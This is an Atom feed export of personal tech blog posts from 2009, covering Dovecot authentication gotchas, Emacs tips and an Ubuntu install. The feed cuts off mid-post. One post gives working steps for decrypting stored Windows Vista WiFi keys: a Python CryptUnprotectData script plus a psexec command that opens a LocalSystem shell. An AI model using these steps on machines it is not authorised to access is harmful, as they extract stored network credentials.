/&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/8587425928774247537/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/twitter-sheer-win-on-degeekifying.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8587425928774247537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/8587425928774247537'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/twitter-sheer-win-on-degeekifying.html' title='Twitter: sheer win. On degeekifying the geekery.'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1387988735499416326</id><published>2009-07-06T04:54:00.000-07:00</published><updated>2009-07-07T08:34:21.699-07:00</updated><title type='text'>Dovecot gotchas</title><content type='html'>A few days ago, the EECS IT staff sent a series of cryptic emails alluding to a recent "security incident." As far as I could tell, someone had a bad password, some baddie's SSH-bot discovered it, said baddie then logged in to discover that they were on a machine with a r00table system, which they then proceeded to r00t. &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_1"&gt;Unfortunately&lt;/span&gt;, this was one of the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_2"&gt;EECS&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_3"&gt;login&lt;/span&gt; servers.&lt;br /&gt;&lt;br /&gt;I usually use SSH &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_4"&gt;pubkey&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_5"&gt;auth&lt;/span&gt;, but I wasn't 100% certain that I had &lt;span style="font-style: italic;"&gt;never &lt;/span&gt;typed my passwords on an &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_6"&gt;EECS&lt;/span&gt; machine that might have had a keylogger installed, so I decided to change them all. At the same time, I thought I might as well fix a long-standing issue with my system: to log into &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_7"&gt;IMAP&lt;/span&gt; via &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_8"&gt;SquirrelMail&lt;/span&gt; (if I happened to be behind a fascist firewall or a connection too slow for SSH), I had to enter my actual password. Sure, I was using &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_9"&gt;SSL&lt;/span&gt;, but it was with a self-signed certificate for which I didn't always have the fingerprint to hand.&lt;br /&gt;&lt;br /&gt;So, after reading the wiki (&lt;a href="http://wiki.dovecot.org/AuthDatabase/PasswdFile"&gt;http://wiki.dovecot.org/AuthDatabase/PasswdFile&lt;/a&gt;), I thought I'd just comment out the stanza that used PAM for passwords in /etc/dovecot/dovecot.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_10"&gt;conf&lt;/span&gt; and replace it with:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_11"&gt;passdb&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_12"&gt;passwd&lt;/span&gt;-file {&lt;br /&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_13"&gt;args&lt;/span&gt; = scheme=plain &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_14"&gt;username&lt;/span&gt;_format=%n /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_15"&gt;imap&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_16"&gt;passwd&lt;/span&gt;&lt;br /&gt;}&lt;/pre&gt;I populated the /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_17"&gt;imap&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_18"&gt;passwd&lt;/span&gt; file as described, with&lt;br /&gt;&lt;br /&gt;foo:{plain}&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_19"&gt;mypasswd&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;(You might be sniffing about the use of &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_20"&gt;plaintext&lt;/span&gt; passwords. The password has to go in &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_21"&gt;plaintext&lt;/span&gt; in my ~/.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_22"&gt;muttrc&lt;/span&gt; anyway, so I didn't care. And anyone  who can read the /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_23"&gt;imap&lt;/span&gt;.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_24"&gt;passwd&lt;/span&gt; file or the ~/.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_25"&gt;muttrc&lt;/span&gt; file could &lt;span style="font-style: italic;"&gt;also&lt;/span&gt; just read the darn emails in ~/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_26"&gt;Maildir&lt;/span&gt;).&lt;br /&gt;&lt;br /&gt;But that didn't work, of course. After setting "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_27"&gt;auth&lt;/span&gt;_debug = yes" and "&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_28"&gt;auth&lt;/span&gt;_debug_passwords = yes" in /etc/dovecot/dovecot.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_29"&gt;conf&lt;/span&gt;, I noticed lines like these in the logs:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;dovecot: 2009-07-06 07:43:55 Info: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_30"&gt;auth&lt;/span&gt;(default): passwd-file(foo,127.0.0.1): no &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_31"&gt;passwd&lt;/span&gt; file: scheme=plain &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_32"&gt;username&lt;/span&gt;_format=foo /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_33"&gt;imap&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_34"&gt;passwd&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Googling that wasn't enormously &lt;span class="blsp-spelling-corrected" id="SPELLING_ERROR_35"&gt;enlightening&lt;/span&gt;, so I tried running &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_36"&gt;strace&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;# &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_37"&gt;strace&lt;/span&gt; -f -o /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_38"&gt;tmp&lt;/span&gt;/st /&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_39"&gt;usr&lt;/span&gt;/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_40"&gt;sbin&lt;/span&gt;/dovecot -F&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Be sure to include the -f, or you won't catch the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_41"&gt;login&lt;/span&gt; process. The &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_42"&gt;strace&lt;/span&gt; logs indicated that dovecot was failing to find a file called &lt;span style="font-family:courier new;"&gt;"scheme=plain &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_43"&gt;username&lt;/span&gt;_format=foo /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_44"&gt;imap&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_45"&gt;passwd&lt;/span&gt;". &lt;/span&gt;Apparently,  options weren't supported in whatever version of Dovecot Debian supplied. I've since upgraded to the latest version that Debian provides, but I haven't felt the urge to check if those options are now supported -- I cut back the stanza to this, and it just worked:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_46"&gt;passdb&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_47"&gt;passwd&lt;/span&gt;-file {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;  &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_48"&gt;args&lt;/span&gt; = /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_49"&gt;imap&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_50"&gt;passwd&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;One bonus tip. While I was messing around with dovecot.&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_51"&gt;conf&lt;/span&gt;, I changed the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_52"&gt;userdb&lt;/span&gt; as well. It used to point to the standard password file; I changed it to &lt;span style="font-family:courier new;"&gt;/etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_53"&gt;imap&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_54"&gt;passwd&lt;/span&gt;, &lt;/span&gt;as well, for simplicity's sake. The wiki page suggested that this was possible:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_55"&gt;userdb&lt;/span&gt; &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_56"&gt;passwd&lt;/span&gt;-file {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_57"&gt;args&lt;/span&gt; = /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_58"&gt;imap&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_59"&gt;passwd&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Then I started getting log messages like this&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;dovecot: 2009-07-06 07:51:20 Error: user foo: &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_60"&gt;Logins&lt;/span&gt; with &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_61"&gt;UID&lt;/span&gt; 0 not permitted&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I didn't bother to investigate this -- I just switched back to using /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_62"&gt;passwd&lt;/span&gt; -- but my guess is that since I didn't specify the &lt;span class="blsp-spelling-error" id="SPELLING_ERROR_63"&gt;UID&lt;/span&gt; in the /etc/&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_64"&gt;imap&lt;/span&gt;-&lt;span class="blsp-spelling-error" id="SPELLING_ERROR_65"&gt;passwd&lt;/span&gt; file, Dovecot assumed that it was 0. Oops.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1387988735499416326?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1387988735499416326/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/07/dovecot-gotchas.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1387988735499416326'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1387988735499416326'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/07/dovecot-gotchas.html' title='Dovecot gotchas'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-815913700333498396</id><published>2009-06-24T18:29:00.000-07:00</published><updated>2009-06-24T18:31:19.989-07:00</updated><title type='text'>Mercurial + ediff</title><content type='html'>If you want to use Mercurial with Emacs's wonderful ediff-&gt;File with Revision command, which lets you selectively accept or reject changes to a file under version control, as far as I know you have to upgrade to emacs22. I don't think vc-hg.el has been backported to 21.&lt;br /&gt;&lt;br /&gt;If you don't want to use Mercurial with Emacs's ediff-&gt;File with Revision, you really should anyway. It's that awesome.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-815913700333498396?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/815913700333498396/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/mercurial-ediff.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/815913700333498396'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/815913700333498396'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/mercurial-ediff.html' title='Mercurial + ediff'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-4847866477526612695</id><published>2009-06-22T06:56:00.000-07:00</published><updated>2009-06-22T07:00:53.051-07:00</updated><title type='text'>Unfill-paragraph</title><content type='html'>If you use Emacs to compose text that you paste into web forms (like, say, blog posts on blogger), you might want to remove the hard returns on the end of every line. Otherwise, you may get random spurious line breaks when the post is reformatted by a program that replaces \n with&lt;br /&gt;or something equally awful. Here's a piece of code I found ages ago that provides a simple command to undo the formatting.&lt;br /&gt;&lt;pre&gt;;; swiped from http://linux.umbc.edu/lug-mailing-list/2002-06/msg00300.html&lt;br /&gt;(defun unfill-paragraph ()&lt;br /&gt;(interactive)&lt;br /&gt;(let ((saved-fill-col fill-column))&lt;br /&gt; (setq fill-column 9999999)&lt;br /&gt; (fill-paragraph nil)&lt;br /&gt; (setq fill-column saved-fill-col)&lt;br /&gt; ))&lt;br /&gt;&lt;br /&gt;(global-set-key "\C-c`" 'unfill-paragraph)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Just add it to your .emacs.el. To use it without restarting emacs, run M-x eval-buffer on .emacs.el.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-4847866477526612695?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/4847866477526612695/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/unfill-paragraph.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4847866477526612695'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/4847866477526612695'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/unfill-paragraph.html' title='Unfill-paragraph'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-1966893927760783433</id><published>2009-06-22T06:52:00.000-07:00</published><updated>2009-06-22T06:56:12.497-07:00</updated><title type='text'>Security lols</title><content type='html'>Windows Vista protects certain sensitive information, like your WEP, WPA, and WEP2 passphrases/keys, by encrypting them with a Windows API function called CryptProtectData. Needless to say, since Windows &lt;i&gt;itself&lt;/i&gt; needs to access those keys, there's no way they can be truly hidden from the user, any more so than DRM keys can be truly hidden from the user. (A &lt;a href="http://en.wikipedia.org/wiki/Fritz-chip"&gt;Fritz-chip&lt;/a&gt; can make keys harder to access, but the fact remains that a device in the physical possession of a dedicated individual cannot really be expected to act against that individual's will.) Not that Windows is trying to do so. &lt;a href="http://msdn.microsoft.com/en-us/library/ms706987(VS.85).aspx"&gt;The Microsoft's manuals&lt;/a&gt; even explain how to extract the keys: &lt;br /&gt;&lt;blockquote&gt;&lt;br /&gt;If your process runs in the context of the LocalSystem account, then&lt;br /&gt;you can unencrypt key material by calling CryptUnprotectData.&lt;br /&gt;&lt;/blockquote&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The fun part is, if you're not terribly familiar with Windows, this can take you ages. Here's how I did it.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Before you start, note that there are programs which will do this for you. &lt;a href="http://www.nirsoft.net/utils/wireless_key.html"&gt;WirelessKeyView&lt;/a&gt; is one. If you're like me, though, you might be worried about running a random closed-source app that wants administrator privileges. Even if &lt;a href="http://lifehacker.com/354013/reveal-wi+fi-network-passwords-with-wirelesskeyview"&gt;LifeHacker&lt;/a&gt; liked it. So here's how do to it the hard way.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;First, you need to get the encrypted key. On Vista (XP apparently&lt;br /&gt;doesn't bother with this encryption), wireless network keys are stored&lt;br /&gt;in the directory&lt;br /&gt;&lt;tt&gt;c:\ProgramData\Microsoft\Wlansvc\Profiles\Interfaces\&lt;/tt&gt;, each subdirectory of which is an interface GUID, each subfile of which is an XML document that looks like this:&lt;P&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&amp;lt;?xml version="1.0"?&amp;gt;&lt;br /&gt;&amp;lt;WLANProfile xmlns="http://www.microsoft.com/networking/WLAN/profile/v1"&amp;gt;&lt;br /&gt; &amp;lt;name&amp;gt;This is the name of your network.&amp;lt;/name&amp;gt;&lt;br /&gt; &amp;lt;SSIDConfig&amp;gt;&lt;br /&gt;  &amp;lt;SSID&amp;gt;&lt;br /&gt;   &amp;lt;hex&amp;gt;This is your SSID in hex.&amp;lt;/hex&amp;gt;&lt;br /&gt;   &amp;lt;name&amp;gt;This is where your SSID is.&amp;lt;/name&amp;gt;&lt;br /&gt;  &amp;lt;/SSID&amp;gt;&lt;br /&gt; &amp;lt;/SSIDConfig&amp;gt;&lt;br /&gt; &amp;lt;connectionType&amp;gt;ESS&amp;lt;/connectionType&amp;gt;&lt;br /&gt; &amp;lt;connectionMode&amp;gt;auto&amp;lt;/connectionMode&amp;gt;&lt;br /&gt; &amp;lt;MSM&amp;gt;&lt;br /&gt;  &amp;lt;security&amp;gt;&lt;br /&gt;   &amp;lt;authEncryption&amp;gt;&lt;br /&gt;    &amp;lt;authentication&amp;gt;open&amp;lt;/authentication&amp;gt;&lt;br /&gt;    &amp;lt;encryption&amp;gt;WEP&amp;lt;/encryption&amp;gt;&lt;br /&gt;    &amp;lt;useOneX&amp;gt;false&amp;lt;/useOneX&amp;gt;&lt;br /&gt;   &amp;lt;/authEncryption&amp;gt;&lt;br /&gt;   &amp;lt;sharedKey&amp;gt;&lt;br /&gt;    &amp;lt;keyType&amp;gt;networkKey&amp;lt;/keyType&amp;gt;&lt;br /&gt;    &amp;lt;protected&amp;gt;true&amp;lt;/protected&amp;gt;&lt;br /&gt;    &amp;lt;keyMaterial&amp;gt;!!!!! This is the key that you want. !!!!!&amp;lt;/keyMaterial&amp;gt;&lt;br /&gt;   &amp;lt;/sharedKey&amp;gt;&lt;br /&gt;  &amp;lt;/security&amp;gt;&lt;br /&gt; &amp;lt;/MSM&amp;gt;&lt;br /&gt;&amp;lt;/WLANProfile&amp;gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;If you have a lot of these files and don't fancy opening them one by one to find the correct interface, do a grep -R for the SSID to find the file you want. If you don't have grep installed, I highly recommend installing &lt;a href="http://cygwin.com"&gt;Cygwin&lt;/a&gt;.&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;The hex string (replaced by "This is the key that you want" above) in the keyMaterial element contains the encrypted key. In order to decrypt it, you have to call CryptUnprotectData. There is a fair bit of material on the Internets explaining how to call this function. I first tried calling it with&lt;br /&gt;&lt;a href="http://code.google.com/p/encryptdecrypt/"&gt;this wrapper library&lt;/a&gt;, using &lt;a href="http://www.microsoft.com/Express/vc/"&gt;Visual C++ Express Edition&lt;/a&gt;. I ultimately discovered on &lt;a href="http://www.remkoweijnen.nl/blog/2007/10/18/how-rdp-passwords-are-encrypted/"&gt;this page&lt;/a&gt; that said I could use Python instead, so I promptly switched to Python. Here's a little Python program that does the decryption, derived from a program posted by "Dirk" in the comments at the above remkoweijnen.nl blog post.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;import win32crypt&lt;br /&gt;mykey='replace this with your keyMaterial'&lt;br /&gt;binout = []&lt;br /&gt;for i in range(len(mykey)):&lt;br /&gt;    if i % 2 == 0:&lt;br /&gt;        binout.append(chr(int(mykey[i:i+2],16)))&lt;br /&gt;pwdHash=''.join(binout)&lt;br /&gt;&lt;br /&gt;output =  win32crypt.CryptUnprotectData(pwdHash,None,None,None,0)&lt;br /&gt;&lt;br /&gt;print "hex:", "".join(["%02X" % ord(char) for char in output[1]])&lt;br /&gt;&lt;br /&gt;print "ascii:", output[1]&lt;br /&gt;&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Note that to run this, you'll need&lt;br /&gt;the &lt;a href="http://sourceforge.net/projects/pywin32"&gt;Python for&lt;br /&gt;Windows extensions.&lt;/a&gt;. (And, of&lt;br /&gt;course, &lt;a href="http://python.org"&gt;Python&lt;/a&gt;.)&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Now, there's a catch. If you execute the code above, you'll get an&lt;br /&gt;error like this:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;C:\Users\Joe\Desktop&gt;"c:\Python25\python.exe" foo.py&lt;br /&gt;Traceback (most recent call last):&lt;br /&gt;  File "foo.py", line 23, in &lt;module&gt;&lt;br /&gt;    output =  win32crypt.CryptUnprotectData(pwdHash,None,None,None,0)&lt;br /&gt;pywintypes.error: (-2146893813, 'CryptUnprotectData', 'Key not valid for use in&lt;br /&gt;specified state.')&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;You will get that error &lt;i&gt;even if you run cmd.exe as an administrator&lt;/i&gt;. Here's where you need to know a bit about Windows that, as a Windows n00b, I didn't know: &lt;i&gt;the LocalSystem account is different from the administrator privilege&lt;/i&gt;. In order to run cmd.exe with the LocalSystem account, you need to install a Microsoft package called &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"&gt;PsTools&lt;/a&gt;. Inside PsTools a program called PsExec, which is a little bit like &lt;a href="http://xkcd.com/149/"&gt;sudo&lt;/a&gt; on Un*x. Just download the zip linked at the bottom of the Microsoft TechNet page above and unzip it somewhere where you can find it.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;To use PsExec, open cmd.exe as an administrator (open the start menu in the bottom-left of your screen, type cmd.exe into the search box, and press Ctrl+Shift+Enter to run it as an admin). Hit "continue" on the User Account Control dialog box that opens. In the command shell that opens, navigate to the directory where you unzipped PsTools. Now run "&lt;tt&gt;psexec.exe /s /i cmd.exe&lt;/tt&gt;". After you agree to PsTools's EULA, PsTools should open a new cmd.exe shell window&lt;br /&gt;&lt;i&gt;running as LocalSystem&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Now, in that new command shell, navigate your way to wherever you saved the above python script and run it:&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;c:\Users\Joe\Desktop&gt;c:\Python25\python.exe foo.py&lt;br /&gt;hex: (the hex of the wep/wpa/whatever key)&lt;br /&gt;ascii: (the ascii of the same, which is hopefully printable)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;p&gt;Enjoy. And switch to Linux as soon as you possibly can.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1833472842980588464-1966893927760783433?l=jbarillari.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://jbarillari.blogspot.com/feeds/1966893927760783433/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://jbarillari.blogspot.com/2009/06/security-lols.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1966893927760783433'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1833472842980588464/posts/default/1966893927760783433'/><link rel='alternate' type='text/html' href='http://jbarillari.blogspot.com/2009/06/security-lols.html' title='Security lols'/><author><name>Joe</name><uri>http://www.blogger.com/profile/17855621777687439491</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1833472842980588464.post-587268124197889619</id><published>2009-06-20T11:19:00.000-07:00</published><updated>2009-06-20T15:42:28.732-07:00</updated><title type='text'>Ubuntu fail</title><content type='html'>L.'s laptop takes 10-15 minutes to go from powered-off to ready to browse the web. I volunteered to put a Linux partition on it. Which was of course the usual carnival of errors:&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;The laptop, a Toshiba Satellite M45, wouldn't recognize either of the two CDs (a Debian netinst or a Ubuntu LiveCD) that I inserted into the drive. It would just merrily boot Vista for ten minutes (unless I held down the power button and tried not to think about blowing the drive.)&lt;/li&gt;&lt;li&gt;Netboot from my Debian box worked, and was surprisingly easy -- you just install tftpd-hpa server, add "filename 'pxeboot.0'" to the DHCP server config (I did have to switch from the "dhcp" package to the "dhcp3-server" package for reasons that are not clear to me. Why does Debian even &lt;span style="font-style: italic;"&gt;have&lt;/span&gt; two different DHCP servers? Sigh), and change a few other things. &lt;a href="https://wiki.koeln.ccc.de/index.php/Ubuntu_PXE_Install"&gt;These instructions&lt;/a&gt; were useful.&lt;/li&gt;&lt;li&gt;Ubuntu would load the bootloader and the install/rescue screen, but after I picked any option, I'd see the kernel loading messages and then get a black screen. Oops.&lt;/li&gt;&lt;li&gt;I tried Debian instead, but that had the same problem.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;I tried using my USB-SD dongle as a USB boot device, but the Satellite didn't support those.&lt;/li&gt;&lt;li&gt;Eventually, I hit on the idea of hitting Fn+F5 to iterate the display outputs after the screen went black during the netboot. That did work.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;The NTFS resize process failed ---  it turned out that the partition was flagged dirty (because of my hold-down-power-until-Vista-gives-up trick). ntfsresize told me to run chkdsk /f, but I assumed that I would need the administrator password for that, which I didn't have and couldn't easily get (I could call L., but she was at the hospital -- she might have had her &lt;a href="http://scalpelorsword.blogspot.com/2007/07/fecal-disimpaction-another-unpaid.html"&gt;arm most of the way into someone's colon&lt;/a&gt; when I did.) Fortunately, rebooting into windows and shutting down normally fixed it.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Installation thereafter without much of a hitch. I couldn't shrink the NTFS partition as much as I'd like (ntfsresize complained about some feature not being supported), but I managed to squeeze enough space out of it.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;I rebooted, and it worked! Even the wifi card worked! I wrote to Z., telling him how awesome Ubuntu was, because on Debian I had had to write a &lt;span style="font-style: italic;"&gt;shell script&lt;/span&gt; to get my encrypted WiFi connection to work.&lt;br /&gt;&lt;br /&gt;Of course, I spoke too soon. I must have had the Ethernet cable still plugged in (or maybe it worked for purely spurious reasons), but the wifi card promptly stopped working. There was still a list of networks in the menu, but I couldn't connect to mine. If I typed "iwlist wlan0 scan" at a root prompt, I got nothing. If I typed "iwconfig" at a root prompt, wlan0's entry said "encryption key: off", even though I'd typed it into the box. (Oh, and the SSID was blank, too.)&lt;br /&gt;&lt;br /&gt;Ubuntu had asked when I first logged in if I wanted to install a proprietary driver (madwifi) for the Atheros wifi card. No, I didn't. Now I did. Where did that icon go? It was in the menu. Googling turned up a post that said to try "System &gt; Proprietary Drivers". But I don't _have_ a system menu. Oh, in Xubuntu (which I chose to ease the load on the laptop), System is under Applications, and "Proprietary Drivers" is now "Hardware Drivers". OK, there's the list. I'll click "Activate" and...&lt;br /&gt;&lt;br /&gt;...nothing. The button registers the click event, and the window freezes. Covering it with another window and then moving that window away leaves a blank spot -- the app is completely wedged. Several minutes of waiting did nothing, so I clicked the close box, and Ubuntu eventually asked me if I wanted to kill it. I tried this a few more times, to no avail.&lt;br /&gt;&lt;br /&gt;So, what did that app do underneath? Could I do it myself? I tried installing the driver packages by hand (linux-restricted-modules and madwifi-tools) and blacklisting ath5k in /etc/modprobe.d/blacklist, but all that did was convince the system that the card didn't exist.&lt;br /&gt;&lt;br /&gt;OK, I thought, maybe it's a permissions issue. I could run "Hardware Drivers" as root, but I have no 